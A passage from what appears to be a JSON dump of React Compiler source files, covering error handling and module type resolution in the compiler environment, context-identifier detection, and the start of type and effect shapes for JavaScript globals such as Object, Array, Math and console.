nextScopeId(): ScopeId {\n    return makeScopeId(this.#nextScope++);\n  }\n\n  get scope(): BabelScope {\n    return this.#scope;\n  }\n\n  logErrors(errors: Result<void, CompilerError>): void {\n    if (errors.isOk() || this.logger == null) {\n      return;\n    }\n    for (const error of errors.unwrapErr().details) {\n      this.logger.logEvent(this.filename, {\n        kind: 'CompileError',\n        detail: error,\n        fnLoc: null,\n      });\n    }\n  }\n\n  /**\n   * Record a single diagnostic or error detail on this environment.\n   * If the error is an Invariant, it is immediately thrown since invariants\n   * represent internal bugs that cannot be recovered from.\n   * Otherwise, the error is accumulated and optionally logged.\n   */\n  recordError(error: CompilerDiagnostic | CompilerErrorDetail): void {\n    if (error.category === ErrorCategory.Invariant) {\n      const compilerError = new CompilerError();\n      if (error instanceof CompilerDiagnostic) {\n        compilerError.pushDiagnostic(error);\n      } else {\n        compilerError.pushErrorDetail(error);\n      }\n      throw compilerError;\n    }\n    if (error instanceof CompilerDiagnostic) {\n      this.#errors.pushDiagnostic(error);\n    } else {\n      this.#errors.pushErrorDetail(error);\n    }\n  }\n\n  /**\n   * Record all diagnostics from a CompilerError onto this environment.\n   */\n  recordErrors(error: CompilerError): void {\n    for (const detail of error.details) {\n      this.recordError(detail);\n    }\n  }\n\n  /**\n   * Returns true if any errors have been recorded during compilation.\n   */\n  hasErrors(): boolean {\n    return this.#errors.hasAnyErrors();\n  }\n\n  /**\n   * Returns the accumulated CompilerError containing all recorded diagnostics.\n   */\n  aggregateErrors(): CompilerError {\n    return this.#errors;\n  }\n\n  isContextIdentifier(node: t.Identifier): boolean {\n    return this.#contextIdentifiers.has(node);\n  }\n\n  isHoistedIdentifier(node: t.Identifier): boolean {\n    return this.#hoistedIdentifiers.has(node);\n  }\n\n  generateGloballyUniqueIdentifierName(\n    name: string | null,\n  ): ValidatedIdentifier {\n    const identifierNode = this.#scope.generateUidIdentifier(name ?? undefined);\n    return makeIdentifierName(identifierNode.name);\n  }\n\n  outlineFunction(fn: HIRFunction, type: ReactFunctionType | null): void {\n    this.#outlinedFunctions.push({fn, type});\n  }\n\n  getOutlinedFunctions(): Array<{\n    fn: HIRFunction;\n    type: ReactFunctionType | null;\n  }> {\n    return this.#outlinedFunctions;\n  }\n\n  #resolveModuleType(moduleName: string, loc: SourceLocation): Global | null {\n    let moduleType = this.#moduleTypes.get(moduleName);\n    if (moduleType === undefined) {\n      /*\n       * NOTE: Zod doesn't work when specifying a function as a default, so we have to\n       * fallback to the default value here\n       */\n      const moduleTypeProvider =\n        this.config.moduleTypeProvider ?? defaultModuleTypeProvider;\n      if (moduleTypeProvider == null) {\n        return null;\n      }\n      if (typeof moduleTypeProvider !== 'function') {\n        CompilerError.throwInvalidConfig({\n          reason: `Expected a function for \\`moduleTypeProvider\\``,\n          loc,\n        });\n      }\n      const unparsedModuleConfig = moduleTypeProvider(moduleName);\n      if (unparsedModuleConfig != null) {\n        const parsedModuleConfig = TypeSchema.safeParse(unparsedModuleConfig);\n        if (!parsedModuleConfig.success) {\n          CompilerError.throwInvalidConfig({\n            reason: `Could not parse module type, the configured \\`moduleTypeProvider\\` function returned an invalid module description`,\n            description: parsedModuleConfig.error.toString(),\n            loc,\n          });\n        }\n        const moduleConfig = parsedModuleConfig.data;\n        moduleType = installTypeConfig(\n          this.#globals,\n          this.#shapes,\n          moduleConfig,\n          moduleName,\n          loc,\n        );\n      } else {\n        moduleType = null;\n      }\n      this.#moduleTypes.set(moduleName, moduleType);\n    }\n    return moduleType;\n  }\n\n  getGlobalDeclaration(\n    binding: NonLocalBinding,\n    loc: SourceLocation,\n  ): Global | null {\n    switch (binding.kind) {\n      case 'ModuleLocal': {\n        // don't resolve module locals\n        return isHookName(binding.name) ? this.#getCustomHookType() : null;\n      }\n      case 'Global': {\n        return (\n          this.#globals.get(binding.name) ??\n          (isHookName(binding.name) ? this.#getCustomHookType() : null)\n        );\n      }\n      case 'ImportSpecifier': {\n        if (this.#isKnownReactModule(binding.module)) {\n          /**\n           * For `import {imported as name} from \"...\"` form, we use the `imported`\n           * name rather than the local alias. Because we don't have definitions for\n           * every React builtin hook yet, we also check to see if the imported name\n           * is hook-like (whereas the fall-through below is checking if the aliased\n           * name is hook-like)\n           */\n          return (\n            this.#globals.get(binding.imported) ??\n            (isHookName(binding.imported) || isHookName(binding.name)\n              ? this.#getCustomHookType()\n              : null)\n          );\n        } else {\n          const moduleType = this.#resolveModuleType(binding.module, loc);\n          if (moduleType !== null) {\n            const importedType = this.getPropertyType(\n              moduleType,\n              binding.imported,\n            );\n            if (importedType != null) {\n              /*\n               * Check that hook-like export names are hook types, and non-hook names are non-hook types.\n               * The user-assigned alias isn't decidable by the type provider, so we ignore that for the check.\n               * Thus we allow `import {fooNonHook as useFoo} from ...` because the name and type both say\n               * that it's not a hook.\n               */\n              const expectHook = isHookName(binding.imported);\n              const isHook = getHookKindForType(this, importedType) != null;\n              if (expectHook !== isHook) {\n                CompilerError.throwInvalidConfig({\n                  reason: `Invalid type configuration for module`,\n                  description: `Expected type for \\`import {${binding.imported}} from '${binding.module}'\\` ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the exported name`,\n                  loc,\n                });\n              }\n              return importedType;\n            }\n          }\n\n          /**\n           * For modules we don't own, we look at whether the original name or import alias\n           * are hook-like. Both of the following are likely hooks so we would return a hook\n           * type for both:\n           *\n           * `import {useHook as foo} ...`\n           * `import {foo as useHook} ...`\n           */\n          return isHookName(binding.imported) || isHookName(binding.name)\n            ? this.#getCustomHookType()\n            : null;\n        }\n      }\n      case 'ImportDefault':\n      case 'ImportNamespace': {\n        if (this.#isKnownReactModule(binding.module)) {\n          // only resolve imports to modules we know about\n          return (\n            this.#globals.get(binding.name) ??\n            (isHookName(binding.name) ? this.#getCustomHookType() : null)\n          );\n        } else {\n          const moduleType = this.#resolveModuleType(binding.module, loc);\n          if (moduleType !== null) {\n            let importedType: Type | null = null;\n            if (binding.kind === 'ImportDefault') {\n              const defaultType = this.getPropertyType(moduleType, 'default');\n              if (defaultType !== null) {\n                importedType = defaultType;\n              }\n            } else {\n              importedType = moduleType;\n            }\n            if (importedType !== null) {\n              /*\n               * Check that the hook-like modules are defined as types, and non hook-like modules are not typed as hooks.\n               * So `import Foo from 'useFoo'` is expected to be a hook based on the module name\n               */\n              const expectHook = isHookName(binding.module);\n              const isHook = getHookKindForType(this, importedType) != null;\n              if (expectHook !== isHook) {\n                CompilerError.throwInvalidConfig({\n                  reason: `Invalid type configuration for module`,\n                  description: `Expected type for \\`import ... from '${binding.module}'\\` ${expectHook ? 'to be a hook' : 'not to be a hook'} based on the module name`,\n                  loc,\n                });\n              }\n              return importedType;\n            }\n          }\n          return isHookName(binding.name) ? this.#getCustomHookType() : null;\n        }\n      }\n    }\n  }\n\n  #isKnownReactModule(moduleName: string): boolean {\n    return (\n      moduleName.toLowerCase() === 'react' ||\n      moduleName.toLowerCase() === 'react-dom'\n    );\n  }\n  static knownReactModules: ReadonlyArray<string> = ['react', 'react-dom'];\n\n  getFallthroughPropertyType(\n    receiver: Type,\n    _property: Type,\n  ): BuiltInType | PolyType | null {\n    let shapeId = null;\n    if (receiver.kind === 'Object' || receiver.kind === 'Function') {\n      shapeId = receiver.shapeId;\n    }\n\n    if (shapeId !== null) {\n      const shape = this.#shapes.get(shapeId);\n\n      CompilerError.invariant(shape !== undefined, {\n        reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,\n        loc: GeneratedSource,\n      });\n      return shape.properties.get('*') ?? null;\n    }\n    return null;\n  }\n\n  getPropertyType(\n    receiver: Type,\n    property: string | number,\n  ): BuiltInType | PolyType | null {\n    let shapeId = null;\n    if (receiver.kind === 'Object' || receiver.kind === 'Function') {\n      shapeId = receiver.shapeId;\n    }\n    if (shapeId !== null) {\n      /*\n       * If an object or function has a shapeId, it must have been assigned\n       * by Forget (and be present in a builtin or user-defined registry)\n       */\n      const shape = this.#shapes.get(shapeId);\n      CompilerError.invariant(shape !== undefined, {\n        reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,\n        loc: GeneratedSource,\n      });\n      if (typeof property === 'string') {\n        return (\n          shape.properties.get(property) ??\n          shape.properties.get('*') ??\n          (isHookName(property) ? this.#getCustomHookType() : null)\n        );\n      } else {\n        return shape.properties.get('*') ?? null;\n      }\n    } else if (typeof property === 'string' && isHookName(property)) {\n      return this.#getCustomHookType();\n    }\n    return null;\n  }\n\n  getFunctionSignature(type: FunctionType): FunctionSignature | null {\n    const {shapeId} = type;\n    if (shapeId !== null) {\n      const shape = this.#shapes.get(shapeId);\n      CompilerError.invariant(shape !== undefined, {\n        reason: `[HIR] Forget internal error: cannot resolve shape ${shapeId}`,\n        loc: GeneratedSource,\n      });\n      return shape.functionType;\n    }\n    return null;\n  }\n\n  addHoistedIdentifier(node: t.Identifier): void {\n    this.#contextIdentifiers.add(node);\n    this.#hoistedIdentifiers.add(node);\n  }\n\n  #getCustomHookType(): Global {\n    if (this.config.enableAssumeHooksFollowRulesOfReact) {\n      return DefaultNonmutatingHook;\n    } else {\n      return DefaultMutatingHook;\n    }\n  }\n}\n\nconst REANIMATED_MODULE_NAME = 'react-native-reanimated';\n\n// From https://github.com/facebook/react/blob/main/packages/eslint-plugin-react-hooks/src/RulesOfHooks.js#LL18C1-L23C2\nexport function isHookName(name: string): boolean {\n  return /^use[A-Z0-9]/.test(name);\n}\n\nexport function parseEnvironmentConfig(\n  partialConfig: PartialEnvironmentConfig,\n): Result<EnvironmentConfig, ZodError<PartialEnvironmentConfig>> {\n  const config = EnvironmentConfigSchema.safeParse(partialConfig);\n  if (config.success) {\n    return Ok(config.data);\n  } else {\n    return Err(config.error);\n  }\n}\n\nexport function validateEnvironmentConfig(\n  partialConfig: PartialEnvironmentConfig,\n): EnvironmentConfig {\n  const config = EnvironmentConfigSchema.safeParse(partialConfig);\n  if (config.success) {\n    return config.data;\n  }\n\n  CompilerError.throwInvalidConfig({\n    reason:\n      'Could not validate environment config. Update React Compiler config to fix the error',\n    description: `${fromZodError(config.error)}`,\n    loc: null,\n    suggestions: null,\n  });\n}\n\nexport function tryParseExternalFunction(\n  maybeExternalFunction: any,\n): ExternalFunction {\n  const externalFunction = ExternalFunctionSchema.safeParse(\n    maybeExternalFunction,\n  );\n  if (externalFunction.success) {\n    return externalFunction.data;\n  }\n\n  CompilerError.throwInvalidConfig({\n    reason:\n      'Could not parse external function. Update React Compiler config to fix the error',\n    description: `${fromZodError(externalFunction.error)}`,\n    loc: null,\n    suggestions: null,\n  });\n}\n\nexport const DEFAULT_EXPORT = 'default';\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/FindContextIdentifiers.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport type {NodePath} from '@babel/traverse';\nimport type * as t from '@babel/types';\nimport {CompilerError} from '../CompilerError';\nimport {getOrInsertDefault} from '../Utils/utils';\nimport {GeneratedSource} from './HIR';\n\ntype IdentifierInfo = {\n  reassigned: boolean;\n  reassignedByInnerFn: boolean;\n  referencedByInnerFn: boolean;\n};\nconst DEFAULT_IDENTIFIER_INFO: IdentifierInfo = {\n  reassigned: false,\n  reassignedByInnerFn: false,\n  referencedByInnerFn: false,\n};\n\ntype BabelFunction =\n  | NodePath<t.FunctionDeclaration>\n  | NodePath<t.FunctionExpression>\n  | NodePath<t.ArrowFunctionExpression>\n  | NodePath<t.ObjectMethod>;\ntype FindContextIdentifierState = {\n  currentFn: Array<BabelFunction>;\n  identifiers: Map<t.Identifier, IdentifierInfo>;\n};\n\nconst withFunctionScope = {\n  enter: function (\n    path: BabelFunction,\n    state: FindContextIdentifierState,\n  ): void {\n    state.currentFn.push(path);\n  },\n  exit: function (_: BabelFunction, state: FindContextIdentifierState): void {\n    state.currentFn.pop();\n  },\n};\n\nexport function findContextIdentifiers(\n  func: NodePath<t.Function>,\n): Set<t.Identifier> {\n  const state: FindContextIdentifierState = {\n    currentFn: [],\n    identifiers: new Map(),\n  };\n\n  func.traverse<FindContextIdentifierState>(\n    {\n      FunctionDeclaration: withFunctionScope,\n      FunctionExpression: withFunctionScope,\n      ArrowFunctionExpression: withFunctionScope,\n      ObjectMethod: withFunctionScope,\n      AssignmentExpression(\n        path: NodePath<t.AssignmentExpression>,\n        state: FindContextIdentifierState,\n      ): void {\n        const left = path.get('left');\n        if (left.isLVal()) {\n          const currentFn = state.currentFn.at(-1) ?? null;\n          handleAssignment(currentFn, state.identifiers, left);\n        } else {\n          /**\n           * OptionalMemberExpressions as the left side of an AssignmentExpression are Stage 1 and\n           * not supported by React Compiler yet.\n           */\n          CompilerError.throwTodo({\n            reason: `Unsupported syntax on the left side of an AssignmentExpression`,\n            description: `Expected an LVal, got: ${left.type}`,\n            loc: left.node.loc ?? null,\n          });\n        }\n      },\n      UpdateExpression(\n        path: NodePath<t.UpdateExpression>,\n        state: FindContextIdentifierState,\n      ): void {\n        const argument = path.get('argument');\n        const currentFn = state.currentFn.at(-1) ?? null;\n        if (argument.isLVal()) {\n          handleAssignment(currentFn, state.identifiers, argument);\n        }\n      },\n      Identifier(\n        path: NodePath<t.Identifier>,\n        state: FindContextIdentifierState,\n      ): void {\n        const currentFn = state.currentFn.at(-1) ?? null;\n        if (path.isReferencedIdentifier()) {\n          handleIdentifier(currentFn, state.identifiers, path);\n        }\n      },\n    },\n    state,\n  );\n\n  const result = new Set<t.Identifier>();\n  for (const [id, info] of state.identifiers.entries()) {\n    if (info.reassignedByInnerFn) {\n      result.add(id);\n    } else if (info.reassigned && info.referencedByInnerFn) {\n      result.add(id);\n    }\n  }\n  return result;\n}\n\nfunction handleIdentifier(\n  currentFn: BabelFunction | null,\n  identifiers: Map<t.Identifier, IdentifierInfo>,\n  path: NodePath<t.Identifier>,\n): void {\n  const name = path.node.name;\n  const binding = path.scope.getBinding(name);\n  if (binding == null) {\n    return;\n  }\n  const identifier = getOrInsertDefault(identifiers, binding.identifier, {\n    ...DEFAULT_IDENTIFIER_INFO,\n  });\n\n  if (currentFn != null) {\n    const bindingAboveLambdaScope = currentFn.scope.parent.getBinding(name);\n\n    if (binding === bindingAboveLambdaScope) {\n      identifier.referencedByInnerFn = true;\n    }\n  }\n}\n\nfunction handleAssignment(\n  currentFn: BabelFunction | null,\n  identifiers: Map<t.Identifier, IdentifierInfo>,\n  lvalPath: NodePath<t.LVal>,\n): void {\n  /*\n   * Find all reassignments to identifiers declared outside of currentFn\n   * This closely follows destructuring assignment assumptions and logic in BuildHIR\n   */\n  const lvalNode = lvalPath.node;\n  switch (lvalNode.type) {\n    case 'Identifier': {\n      const path = lvalPath as NodePath<t.Identifier>;\n      const name = path.node.name;\n      const binding = path.scope.getBinding(name);\n      if (binding == null) {\n        break;\n      }\n      const state = getOrInsertDefault(identifiers, binding.identifier, {\n        ...DEFAULT_IDENTIFIER_INFO,\n      });\n      state.reassigned = true;\n\n      if (currentFn != null) {\n        const bindingAboveLambdaScope = currentFn.scope.parent.getBinding(name);\n\n        if (binding === bindingAboveLambdaScope) {\n          state.reassignedByInnerFn = true;\n        }\n      }\n      break;\n    }\n    case 'ArrayPattern': {\n      const path = lvalPath as NodePath<t.ArrayPattern>;\n      for (const element of path.get('elements')) {\n        if (nonNull(element)) {\n          handleAssignment(currentFn, identifiers, element);\n        }\n      }\n      break;\n    }\n    case 'ObjectPattern': {\n      const path = lvalPath as NodePath<t.ObjectPattern>;\n      for (const property of path.get('properties')) {\n        if (property.isObjectProperty()) {\n          const valuePath = property.get('value');\n          CompilerError.invariant(valuePath.isLVal(), {\n            reason: `[FindContextIdentifiers] Expected object property value to be an LVal, got: ${valuePath.type}`,\n            loc: valuePath.node.loc ?? GeneratedSource,\n          });\n          handleAssignment(currentFn, identifiers, valuePath);\n        } else {\n          CompilerError.invariant(property.isRestElement(), {\n            reason: `[FindContextIdentifiers] Invalid assumptions for babel types.`,\n            loc: property.node.loc ?? GeneratedSource,\n          });\n          handleAssignment(currentFn, identifiers, property);\n        }\n      }\n      break;\n    }\n    case 'AssignmentPattern': {\n      const path = lvalPath as NodePath<t.AssignmentPattern>;\n      const left = path.get('left');\n      handleAssignment(currentFn, identifiers, left);\n      break;\n    }\n    case 'RestElement': {\n      const path = lvalPath as NodePath<t.RestElement>;\n      handleAssignment(currentFn, identifiers, path.get('argument'));\n      break;\n    }\n    case 'MemberExpression': {\n      // Interior mutability (not a reassign)\n      break;\n    }\n    default: {\n      CompilerError.throwTodo({\n        reason: `[FindContextIdentifiers] Cannot handle Object destructuring assignment target ${lvalNode.type}`,\n        description: null,\n        loc: lvalNode.loc ?? GeneratedSource,\n        suggestions: null,\n      });\n    }\n  }\n}\n\nfunction nonNull<T extends NonNullable<t.Node>>(\n  t: NodePath<T | null>,\n): t is NodePath<T> {\n  return t.node != null;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/HIR/Globals.ts",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport {Effect, ValueKind, ValueReason} from './HIR';\nimport {\n  BUILTIN_SHAPES,\n  BuiltInArrayId,\n  BuiltInMapId,\n  BuiltInMixedReadonlyId,\n  BuiltInObjectId,\n  BuiltInSetId,\n  BuiltInUseActionStateId,\n  BuiltInUseContextHookId,\n  BuiltInUseEffectEventId,\n  BuiltInUseEffectHookId,\n  BuiltInUseInsertionEffectHookId,\n  BuiltInUseLayoutEffectHookId,\n  BuiltInUseOperatorId,\n  BuiltInUseOptimisticId,\n  BuiltInUseReducerId,\n  BuiltInUseRefId,\n  BuiltInUseStateId,\n  BuiltInUseTransitionId,\n  BuiltInWeakMapId,\n  BuiltInWeakSetId,\n  BuiltInEffectEventId,\n  ReanimatedSharedValueId,\n  ShapeRegistry,\n  addFunction,\n  addHook,\n  addObject,\n} from './ObjectShape';\nimport {BuiltInType, ObjectType, PolyType} from './Types';\nimport {TypeConfig} from './TypeSchema';\nimport {assertExhaustive} from '../Utils/utils';\nimport {isHookName} from './Environment';\nimport {CompilerError, SourceLocation} from '..';\n\n/*\n * This file exports types and defaults for JavaScript global objects.\n * A Forget `Environment` stores the GlobalRegistry and ShapeRegistry\n * used for the current project. These ultimately help Forget refine\n * its inference of types (i.e. Object vs Primitive) and effects\n * (i.e. read vs mutate) in source programs.\n */\n\n// ShapeRegistry with default definitions for builtins and global objects.\nexport const DEFAULT_SHAPES: ShapeRegistry = new Map(BUILTIN_SHAPES);\n\n// Hack until we add ObjectShapes for all globals\nconst UNTYPED_GLOBALS: Set<string> = new Set([\n  'Object',\n  'Function',\n  'RegExp',\n  'Date',\n  'Error',\n  'TypeError',\n  'RangeError',\n  'ReferenceError',\n  'SyntaxError',\n  'URIError',\n  'EvalError',\n  'DataView',\n  'Float32Array',\n  'Float64Array',\n  'Int8Array',\n  'Int16Array',\n  'Int32Array',\n  'WeakMap',\n  'Uint8Array',\n  'Uint8ClampedArray',\n  'Uint16Array',\n  'Uint32Array',\n  'ArrayBuffer',\n  'JSON',\n  'console',\n  'eval',\n]);\n\nconst TYPED_GLOBALS: Array<[string, BuiltInType]> = [\n  [\n    'Object',\n    addObject(DEFAULT_SHAPES, 'Object', [\n      [\n        'keys',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.Read],\n          restParam: null,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n        }),\n      ],\n      [\n        /**\n         * Object.fromEntries(iterable)\n         * iterable: An iterable, such as an Array or Map, containing a list of\n         *           objects. Each object should have two properties.\n         * Returns a new object whose properties are given by the entries of the\n         * iterable.\n         */\n        'fromEntries',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.ConditionallyMutate],\n          restParam: null,\n          returnType: {kind: 'Object', shapeId: BuiltInObjectId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n        }),\n      ],\n      [\n        'entries',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.Capture],\n          restParam: null,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n          aliasing: {\n            receiver: '@receiver',\n            params: ['@object'],\n            rest: null,\n            returns: '@returns',\n            temporaries: [],\n            effects: [\n              {\n                kind: 'Create',\n                into: '@returns',\n                reason: ValueReason.KnownReturnSignature,\n                value: ValueKind.Mutable,\n              },\n              // Object values are captured into the return\n              {\n                kind: 'Capture',\n                from: '@object',\n                into: '@returns',\n              },\n            ],\n          },\n        }),\n      ],\n      [\n        'keys',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.Read],\n          restParam: null,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n          aliasing: {\n            receiver: '@receiver',\n            params: ['@object'],\n            rest: null,\n            returns: '@returns',\n            temporaries: [],\n            effects: [\n              {\n                kind: 'Create',\n                into: '@returns',\n                reason: ValueReason.KnownReturnSignature,\n                value: ValueKind.Mutable,\n              },\n              // Only keys are captured, and keys are immutable\n              {\n                kind: 'ImmutableCapture',\n                from: '@object',\n                into: '@returns',\n              },\n            ],\n          },\n        }),\n      ],\n      [\n        'values',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.Capture],\n          restParam: null,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n          aliasing: {\n            receiver: '@receiver',\n            params: ['@object'],\n            rest: null,\n            returns: '@returns',\n            temporaries: [],\n            effects: [\n              {\n                kind: 'Create',\n                into: '@returns',\n                reason: ValueReason.KnownReturnSignature,\n                value: ValueKind.Mutable,\n              },\n              // Object values are captured into the return\n              {\n                kind: 'Capture',\n                from: '@object',\n                into: '@returns',\n              },\n            ],\n          },\n        }),\n      ],\n    ]),\n  ],\n  [\n    'Array',\n    addObject(DEFAULT_SHAPES, 'Array', [\n      [\n        'isArray',\n        // Array.isArray(value)\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [Effect.Read],\n          restParam: null,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      /*\n       * https://tc39.es/ecma262/multipage/indexed-collections.html#sec-array.from\n       * Array.from(arrayLike, optionalFn, optionalThis)\n       * Note that the Effect of `arrayLike` is polymorphic i.e.\n       *  - Effect.read if\n       *     - it does not have an @iterator property and is array-like\n       *       (i.e. has a length property)\n       *    - it is an iterable object whose iterator does not mutate itself\n       *  - Effect.mutate if it is a self-mutative iterator (e.g. a generator\n       *    function)\n       */\n      [\n        'from',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [\n            Effect.ConditionallyMutateIterator,\n            Effect.ConditionallyMutate,\n            Effect.ConditionallyMutate,\n          ],\n          restParam: Effect.Read,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n        }),\n      ],\n      [\n        'of',\n        // Array.of(element0, ..., elementN)\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Object', shapeId: BuiltInArrayId},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable,\n        }),\n      ],\n    ]),\n  ],\n  [\n    'performance',\n    addObject(DEFAULT_SHAPES, 'performance', [\n      // Static methods (TODO)\n      [\n        'now',\n        // Date.now()\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable, // same here\n          impure: true,\n          canonicalName: 'performance.now',\n        }),\n      ],\n    ]),\n  ],\n  [\n    'Date',\n    addObject(DEFAULT_SHAPES, 'Date', [\n      // Static methods (TODO)\n      [\n        'now',\n        // Date.now()\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable, // same here\n          impure: true,\n          canonicalName: 'Date.now',\n        }),\n      ],\n    ]),\n  ],\n  [\n    'Math',\n    addObject(DEFAULT_SHAPES, 'Math', [\n      // Static properties (TODO)\n      ['PI', {kind: 'Primitive'}],\n      // Static methods (TODO)\n      [\n        'max',\n        // Math.max(value0, ..., valueN)\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'min',\n        // Math.min(value0, ..., valueN)\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'trunc',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'ceil',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'floor',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'pow',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'random',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Poly'}, // TODO: could be Primitive, but that would change existing compilation\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Mutable, // same here\n          impure: true,\n          canonicalName: 'Math.random',\n        }),\n      ],\n    ]),\n  ],\n  ['Infinity', {kind: 'Primitive'}],\n  ['NaN', {kind: 'Primitive'}],\n  [\n    'console',\n    addObject(DEFAULT_SHAPES, 'console', [\n      [\n        'error',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'info',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'log',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'table',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'trace',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n      [\n        'warn',\n        addFunction(DEFAULT_SHAPES, [], {\n          positionalParams: [],\n          restParam: Effect.Read,\n          returnType: {kind: 'Primitive'},\n          calleeEffect: Effect.Read,\n          returnValueKind: ValueKind.Primitive,\n        }),\n      ],\n    ]),\n  ],\n  [\n    'Boolean',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'Number',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'String',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'parseInt',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'parseFloat',\n    addFunction(DEFAULT_SHAPES, [], {\n      positionalParams: [],\n      restParam: Effect.Read,\n      returnType: {kind: 'Primitive'},\n      calleeEffect: Effect.Read,\n      returnValueKind: ValueKind.Primitive,\n    }),\n  ],\n  [\n    'isNaN',\n    